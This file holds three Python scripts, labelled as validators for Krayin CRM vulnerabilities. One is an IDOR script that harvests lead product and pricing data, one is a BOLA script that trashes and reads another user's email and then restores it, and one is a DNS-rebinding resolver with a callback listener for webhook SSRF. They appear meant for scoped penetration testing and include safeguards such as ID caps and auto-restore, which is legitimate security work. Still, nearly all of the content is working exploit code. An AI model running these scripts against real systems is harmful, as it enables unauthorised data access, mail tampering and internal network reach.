import argparse
import datetime
import http.cookiejar
import json
import os
import re
import sys
import urllib.error
import urllib.parse
import urllib.request

UA = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"


class _NoRedirect(urllib.request.HTTPRedirectHandler):
    def redirect_request(self, *a, **k):
        return None


class Session:
    def __init__(self, base, cookie_name, insecure, proxy, headers, base_path, timeout):
        self.base = base.rstrip("/")
        self.base_path = "/" + base_path.strip("/") if base_path.strip("/") else ""
        self.cookie_name = cookie_name
        self.headers = headers
        self.timeout = timeout
        self.jar = http.cookiejar.CookieJar()
        h = [urllib.request.HTTPCookieProcessor(self.jar), _NoRedirect]
        if insecure:
            import ssl
            ctx = ssl.create_default_context()
            ctx.check_hostname = False
            ctx.verify_mode = ssl.CERT_NONE
            h.append(urllib.request.HTTPSHandler(context=ctx))
        if proxy:
            h.append(urllib.request.ProxyHandler({"http": proxy, "https": proxy}))
        self.opener = urllib.request.build_opener(*h)

    def _xsrf(self):
        for c in self.jar:
            if c.name == "XSRF-TOKEN":
                return urllib.parse.unquote(c.value)
        return None

    def _has(self, name):
        return any(c.name == name for c in self.jar)

    def request(self, method, path, form=None):
        url = path if path.startswith("http") else self.base + self.base_path + path
        data = urllib.parse.urlencode(form, doseq=True).encode() if form is not None else None
        r = urllib.request.Request(url, data=data, method=method)
        r.add_header("User-Agent", UA)
        r.add_header("Accept", "application/json, text/html;q=0.8")
        r.add_header("X-Requested-With", "XMLHttpRequest")
        if data is not None:
            r.add_header("Content-Type", "application/x-www-form-urlencoded")
        x = self._xsrf()
        if x and method not in ("GET", "HEAD"):
            r.add_header("X-XSRF-TOKEN", x)
        for k, v in self.headers.items():
            r.add_header(k, v)
        try:
            resp = self.opener.open(r, timeout=self.timeout)
            return resp.status, resp.read().decode(errors="replace")
        except urllib.error.HTTPError as e:
            return e.code, e.read().decode(errors="replace")
        except urllib.error.URLError as e:
            return 0, f"__URLERROR__ {e.reason}"

    def get(self, path):
        return self.request("GET", path)

    def set_raw_cookie(self, header):
        for part in header.split(";"):
            if "=" in part:
                n, v = part.strip().split("=", 1)
                self.jar.set_cookie(http.cookiejar.Cookie(
                    0, n, v, None, False, "", False, False, "/", True,
                    False, None, True, None, None, {}))

    def login(self, email, password):
        st, html = self.get("/admin/login")
        if st != 200:
            return False
        m = re.search(r'name="_token"[^>]*value="([^"]+)"', html)
        token = m.group(1) if m else self._xsrf()
        self.request("POST", "/admin/login", form={"_token": token or "", "email": email, "password": password})
        return self._has(self.cookie_name)

    def authed(self):
        return self.get("/admin/dashboard")[0] == 200


def parse_ids(spec):
    ids = set()
    for part in str(spec).split(","):
        part = part.strip()
        if not part:
            continue
        if "-" in part:
            a, b = part.split("-", 1)
            ids.update(range(int(a), int(b) + 1))
        else:
            ids.add(int(part))
    out = sorted(i for i in ids if i > 0)
    if len(out) > 2000:
        sys.exit("refusing: more than 2000 ids; narrow the range for a scoped test")
    return out


def parse_headers(items):
    out = {}
    for it in items or []:
        if ":" not in it:
            sys.exit(f"bad --header {it!r}; expected 'Name: value'")
        k, v = it.split(":", 1)
        out[k.strip()] = v.strip()
    return out


def sjson(s):
    try:
        d = json.loads(s)
        return d if isinstance(d, dict) else {}
    except ValueError:
        return {}


def log(evidence, outdir, name, status, body, verdict):
    rec = {"check": name, "ts": datetime.datetime.now(datetime.timezone.utc).isoformat(),
           "status": status, "verdict": verdict, "body_excerpt": body[:600]}
    evidence.append(rec)
    if outdir:
        with open(os.path.join(outdir, f"{name}.json"), "w") as fh:
            fh.write(json.dumps(rec, indent=2))


def main():
    ap = argparse.ArgumentParser(description="CVE-2026-112286 Krayin Quote IDOR validator")
    ap.add_argument("--url", required=True, help="target base URL")
    ap.add_argument("--cookie", help="raw Cookie header for a low-priv session")
    ap.add_argument("--cookie-name", default="krayin_crm_session")
    ap.add_argument("--login-email")
    ap.add_argument("--login-password")
    ap.add_argument("--proxy", help="intercepting proxy, e.g. http://127.0.0.1:8080")
    ap.add_argument("--header", action="append", default=[], metavar="'K: V'", help="extra header; repeatable")
    ap.add_argument("--base-path", default="", help="path prefix for sub-dir installs, e.g. /crm")
    ap.add_argument("--insecure", action="store_true")
    ap.add_argument("--timeout", type=int, default=20)
    ap.add_argument("--lead-ids", default="1", help="'1', '1-50', '1,2,5-9'")
    ap.add_argument("--out", help="evidence directory")
    args = ap.parse_args()

    lead_ids = parse_ids(args.lead_ids)
    outdir = args.out
    if outdir:
        os.makedirs(outdir, exist_ok=True)

    s = Session(args.url, args.cookie_name, args.insecure, args.proxy,
                parse_headers(args.header), args.base_path, args.timeout)
    if args.cookie:
        s.set_raw_cookie(args.cookie)
    elif args.login_email and args.login_password:
        if not s.login(args.login_email, args.login_password):
            sys.exit("refusing: authentication failed")
    else:
        sys.exit("provide --cookie or --login-email/--login-password")
    if not s.authed():
        sys.exit("refusing: session not authenticated (/admin/dashboard not reachable)")
    print(f"[+] authenticated on {args.url}")

    evidence = []
    hits = 0
    for lid in lead_ids:
        st, body = s.get(f"/admin/quotes/lead-products/{lid}")
        leaked = sjson(body).get("data", []) if st == 200 else []
        v = "VULNERABLE" if leaked else "not-confirmed"
        if leaked:
            hits += 1
        print(f"  B1 lead-products/{lid}  -> {st}  {v}")
        for p in leaked[:3]:
            if isinstance(p, dict):
                print("     leaked:", json.dumps({k: p.get(k) for k in ("product_id", "name", "quantity", "price", "total") if k in p}))
        log(evidence, outdir, f"B1-leadProducts-{lid}", st, body, v)
    if len(lead_ids) > 1:
        print(f"  B1 exposure: {hits}/{len(lead_ids)} lead ids leaked product/pricing data")

    st, body = s.get("/admin/quotes/search?search=")
    quotes = sjson(body).get("data", []) if st == 200 else []
    v = "VULNERABLE" if quotes else "not-confirmed"
    print(f"  B2 quotes/search        -> {st}  {v}  ({len(quotes)} quote(s))")
    log(evidence, outdir, "B2-search", st, body, v)

    if outdir:
        with open(os.path.join(outdir, "summary.json"), "w") as fh:
            fh.write(json.dumps(evidence, indent=2))
        print(f"[+] evidence written to {outdir}/")


if __name__ == "__main__":
    main()

import argparse
import datetime
import http.cookiejar
import json
import os
import re
import sys
import urllib.error
import urllib.parse
import urllib.request

UA = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"


class _NoRedirect(urllib.request.HTTPRedirectHandler):
    def redirect_request(self, *a, **k):
        return None


class Session:
    def __init__(self, base, cookie_name, insecure, proxy, headers, base_path, timeout):
        self.base = base.rstrip("/")
        self.base_path = "/" + base_path.strip("/") if base_path.strip("/") else ""
        self.cookie_name = cookie_name
        self.headers = headers
        self.timeout = timeout
        self.jar = http.cookiejar.CookieJar()
        h = [urllib.request.HTTPCookieProcessor(self.jar), _NoRedirect]
        if insecure:
            import ssl
            ctx = ssl.create_default_context()
            ctx.check_hostname = False
            ctx.verify_mode = ssl.CERT_NONE
            h.append(urllib.request.HTTPSHandler(context=ctx))
        if proxy:
            h.append(urllib.request.ProxyHandler({"http": proxy, "https": proxy}))
        self.opener = urllib.request.build_opener(*h)

    def _xsrf(self):
        for c in self.jar:
            if c.name == "XSRF-TOKEN":
                return urllib.parse.unquote(c.value)
        return None

    def _has(self, name):
        return any(c.name == name for c in self.jar)

    def request(self, method, path, form=None):
        url = path if path.startswith("http") else self.base + self.base_path + path
        data = urllib.parse.urlencode(form, doseq=True).encode() if form is not None else None
        r = urllib.request.Request(url, data=data, method=method)
        r.add_header("User-Agent", UA)
        r.add_header("Accept", "application/json, text/html;q=0.8")
        r.add_header("X-Requested-With", "XMLHttpRequest")
        if data is not None:
            r.add_header("Content-Type", "application/x-www-form-urlencoded")
        x = self._xsrf()
        if x and method not in ("GET", "HEAD"):
            r.add_header("X-XSRF-TOKEN", x)
        for k, v in self.headers.items():
            r.add_header(k, v)
        try:
            resp = self.opener.open(r, timeout=self.timeout)
            return resp.status, resp.read().decode(errors="replace")
        except urllib.error.HTTPError as e:
            return e.code, e.read().decode(errors="replace")
        except urllib.error.URLError as e:
            return 0, f"__URLERROR__ {e.reason}"

    def get(self, path):
        return self.request("GET", path)

    def set_raw_cookie(self, header):
        for part in header.split(";"):
            if "=" in part:
                n, v = part.strip().split("=", 1)
                self.jar.set_cookie(http.cookiejar.Cookie(
                    0, n, v, None, False, "", False, False, "/", True,
                    False, None, True, None, None, {}))

    def login(self, email, password):
        st, html = self.get("/admin/login")
        if st != 200:
            return False
        m = re.search(r'name="_token"[^>]*value="([^"]+)"', html)
        token = m.group(1) if m else self._xsrf()
        self.request("POST", "/admin/login", form={"_token": token or "", "email": email, "password": password})
        return self._has(self.cookie_name)

    def authed(self):
        return self.get("/admin/dashboard")[0] == 200


def parse_headers(items):
    out = {}
    for it in items or []:
        if ":" not in it:
            sys.exit(f"bad --header {it!r}; expected 'Name: value'")
        k, v = it.split(":", 1)
        out[k.strip()] = v.strip()
    return out


def sjson(s):
    try:
        d = json.loads(s)
        return d if isinstance(d, dict) else {}
    except ValueError:
        return {}


def log(evidence, outdir, name, status, body, verdict):
    rec = {"check": name, "ts": datetime.datetime.now(datetime.timezone.utc).isoformat(),
           "status": status, "verdict": verdict, "body_excerpt": body[:600]}
    evidence.append(rec)
    if outdir:
        with open(os.path.join(outdir, f"{name}.json"), "w") as fh:
            fh.write(json.dumps(rec, indent=2))


def main():
    ap = argparse.ArgumentParser(description="CVE-2026-112287 Krayin Mail BOLA validator")
    ap.add_argument("--url", required=True, help="target base URL")
    ap.add_argument("--cookie", help="raw Cookie header for a low-priv session")
    ap.add_argument("--cookie-name", default="krayin_crm_session")
    ap.add_argument("--login-email")
    ap.add_argument("--login-password")
    ap.add_argument("--proxy", help="intercepting proxy, e.g. http://127.0.0.1:8080")
    ap.add_argument("--header", action="append", default=[], metavar="'K: V'", help="extra header; repeatable")
    ap.add_argument("--base-path", default="", help="path prefix for sub-dir installs, e.g. /crm")
    ap.add_argument("--insecure", action="store_true")
    ap.add_argument("--timeout", type=int, default=20)
    ap.add_argument("--email-id", type=int, required=True, help="a single out-of-scope email id")
    ap.add_argument("--no-restore", action="store_true", help="do NOT auto-restore (leaves the email trashed)")
    ap.add_argument("--out", help="evidence directory")
    args = ap.parse_args()

    eid = args.email_id
    outdir = args.out
    if outdir:
        os.makedirs(outdir, exist_ok=True)

    s = Session(args.url, args.cookie_name, args.insecure, args.proxy,
                parse_headers(args.header), args.base_path, args.timeout)
    if args.cookie:
        s.set_raw_cookie(args.cookie)
    elif args.login_email and args.login_password:
        if not s.login(args.login_email, args.login_password):
            sys.exit("refusing: authentication failed")
    else:
        sys.exit("provide --cookie or --login-email/--login-password")
    if not s.authed():
        sys.exit("refusing: session not authenticated (/admin/dashboard not reachable)")
    print(f"[+] authenticated on {args.url}")

    evidence = []

    # A0 control: read must be gated for an out-of-scope email
    st, _ = s.get(f"/admin/mail/inbox/{eid}")
    gated = st == 401
    print(f"  A0 control read inbox/{eid} -> {st}  "
          f"{'(gated — out-of-scope baseline, good)' if gated else '(NOT 401 — pick an out-of-scope email id)'}")
    log(evidence, outdir, "A0-control-read", st, "", "gated" if gated else "CHECK-SETUP")
    if not gated:
        print("     ! baseline not met; skipping the write so nothing is touched.")
        _flush(evidence, outdir)
        return

    # A1 single reversible write: trash the out-of-scope email
    st, body = s.request("DELETE", f"/admin/mail/{eid}", form={"type": "trash"})
    wrote = st in (200, 302)
    print(f"  A1 trash /{eid} (type=trash) -> {st}  {'VULNERABLE' if wrote else 'blocked'}")
    log(evidence, outdir, "A1-trash", st, body, "VULNERABLE" if wrote else "blocked")

    st2, _ = s.get(f"/admin/mail/trash/{eid}")
    print(f"     smoking-gun read trash/{eid} -> {st2}  "
          f"{'(still 401 — mutated mail it cannot view)' if st2 == 401 else ''}")

    # A2 disclosure via update(): returns the full EmailResource
    st, body = s.request("PUT", f"/admin/mail/edit/{eid}", form={"is_read": "1"})
    d = sjson(body).get("data", {})
    leaked = {k: d.get(k) for k in ("id", "subject", "reply") if k in d}
    v = "VULNERABLE" if (st in (200, 302) and leaked) else "not-confirmed"
    print(f"  A2 disclose edit/{eid} -> {st}  {v}  leaked={json.dumps(leaked)[:160]}")
    log(evidence, outdir, "A2-disclose", st, body, v)

    # A3 restore: move back to inbox so target state is unchanged
    if args.no_restore:
        print("  A3 restore SKIPPED (--no-restore). Email left in Trash; restore manually.")
    else:
        st, body = s.request("PUT", f"/admin/mail/edit/{eid}", form={"folders[]": "inbox"})
        print(f"  A3 restore edit/{eid} folders=inbox -> {st}  "
              f"{'(reverted)' if st in (200, 302) else '(REVERT FAILED — restore manually from Trash)'}")
        log(evidence, outdir, "A3-restore", st, body, "reverted" if st in (200, 302) else "REVERT-FAILED")

    _flush(evidence, outdir)


def _flush(evidence, outdir):
    if outdir:
        with open(os.path.join(outdir, "summary.json"), "w") as fh:
            fh.write(json.dumps(evidence, indent=2))
        print(f"[+] evidence written to {outdir}/")


if __name__ == "__main__":
    main()

import argparse
import datetime
import socket
import socketserver
import struct
import sys
import threading
import time
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer

STATE = {"n": 0, "public": b"", "rebind": b"", "label": ""}
HITS = []


def ip_bytes(dotted):
    try:
        return socket.inet_aton(dotted)
    except OSError:
        sys.exit(f"invalid IPv4: {dotted}")


def ts():
    return datetime.datetime.now(datetime.timezone.utc).isoformat()


class RebindDNS(socketserver.BaseRequestHandler):
    def handle(self):
        data, sock = self.request
        if len(data) < 12:
            return
        tid, q = data[:2], data[12:]
        try:
            off = 0
            while q[off] != 0:
                off += 1 + q[off]
            qtype = struct.unpack(">H", q[off + 1:off + 3])[0]
        except Exception:
            qtype = 1
        if qtype != 1:  # only A queries get the rebind logic
            sock.sendto(tid + b"\x81\x80\x00\x01\x00\x00\x00\x00\x00\x00" + q, self.client_address)
            return
        STATE["n"] += 1
        ip = STATE["public"] if STATE["n"] == 1 else STATE["rebind"]
        which = "PUBLIC (passes guard)" if STATE["n"] == 1 else f"REBIND -> {STATE['label']}"
        ans = tid + b"\x81\x80\x00\x01\x00\x01\x00\x00\x00\x00" + q
        ans += b"\xc0\x0c\x00\x01\x00\x01\x00\x00\x00\x00\x00\x04" + ip  # TTL 0
        sock.sendto(ans, self.client_address)
        print(f"[dns]  {ts()}  A query #{STATE['n']} -> {socket.inet_ntoa(ip)}  ({which})")


class Callback(BaseHTTPRequestHandler):
    server_version = "nginx"

    def _record(self):
        hit = {"ts": ts(), "src": self.client_address[0], "method": self.command,
               "path": self.path, "host_header": self.headers.get("Host")}
        HITS.append(hit)
        print(f"[http] {ts()}  <-- SSRF HIT  {self.command} {self.path}  "
              f"Host={hit['host_header']}  from {hit['src']}")
        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.end_headers()
        self.wfile.write(b"ssrf-callback-ok\n")

    do_GET = do_POST = do_PUT = _record

    def log_message(self, *a):
        pass


def selftest(domain, dns_port):
    print(f"[selftest] querying 127.0.0.1:{dns_port} twice for {domain}")
    qname = b"".join(bytes([len(p)]) + p.encode() for p in domain.split(".")) + b"\x00"
    query = struct.pack(">HHHHHH", 0x1234, 0x0100, 1, 0, 0, 0) + qname + struct.pack(">HH", 1, 1)
    for i in range(2):
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        s.settimeout(3)
        s.sendto(query, ("127.0.0.1", dns_port))
        resp, _ = s.recvfrom(512)
        print(f"[selftest] answer #{i + 1}: {socket.inet_ntoa(resp[-4:])}")
        s.close()
    print("[selftest] #1 public + #2 rebind => the resolver rebinds correctly.")


def main():
    ap = argparse.ArgumentParser(description="CVE-2026-112288 Krayin webhook SSRF rebinding harness")
    ap.add_argument("--domain", default="rebind.test", help="hostname you delegate to this resolver")
    ap.add_argument("--public", default="93.184.216.34", help="public IP returned to the guard (answer #1)")
    ap.add_argument("--rebind", default="127.0.0.1", help="IP returned to the client (answer #2+); in-scope per ROE")
    ap.add_argument("--bind", default="127.0.0.1", help="interface to bind (0.0.0.0 for a reachable resolver)")
    ap.add_argument("--dns-port", type=int, default=5353)
    ap.add_argument("--listen-port", type=int, default=8081)
    ap.add_argument("--token", default="", help="optional path token to disambiguate callbacks")
    ap.add_argument("--selftest", action="store_true", help="prove the rebind locally, then exit")
    args = ap.parse_args()

    STATE["public"] = ip_bytes(args.public)
    STATE["rebind"] = ip_bytes(args.rebind)
    STATE["label"] = args.rebind

    socketserver.UDPServer.allow_reuse_address = True
    try:
        dns = socketserver.UDPServer((args.bind, args.dns_port), RebindDNS)
    except PermissionError:
        sys.exit(f"binding {args.bind}:{args.dns_port} needs privileges; use sudo or a high --dns-port")
    threading.Thread(target=dns.serve_forever, daemon=True).start()
    print(f"[dns]  rebinding resolver on {args.bind}:{args.dns_port}  "
          f"(#1 {args.public} -> #2+ {args.rebind}, TTL 0) for {args.domain}")

    if args.selftest:
        time.sleep(0.2)
        selftest(args.domain, args.dns_port)
        return

    httpd = ThreadingHTTPServer((args.bind, args.listen_port), Callback)
    threading.Thread(target=httpd.serve_forever, daemon=True).start()
    path = f"/{args.token}" if args.token else "/"
    print(f"[http] callback listener on {args.bind}:{args.listen_port}")
    print(f"\nRegister a Krayin webhook (GET http://{args.domain}:{args.listen_port}{path}),")
    print("wire it to a workflow, then trigger the event. Watching for the hit; Ctrl-C to stop.\n")
    try:
        while True:
            time.sleep(1)
    except KeyboardInterrupt:
        print(f"\n[done] {len(HITS)} callback hit(s) recorded.")


if __name__ == "__main__":
    main()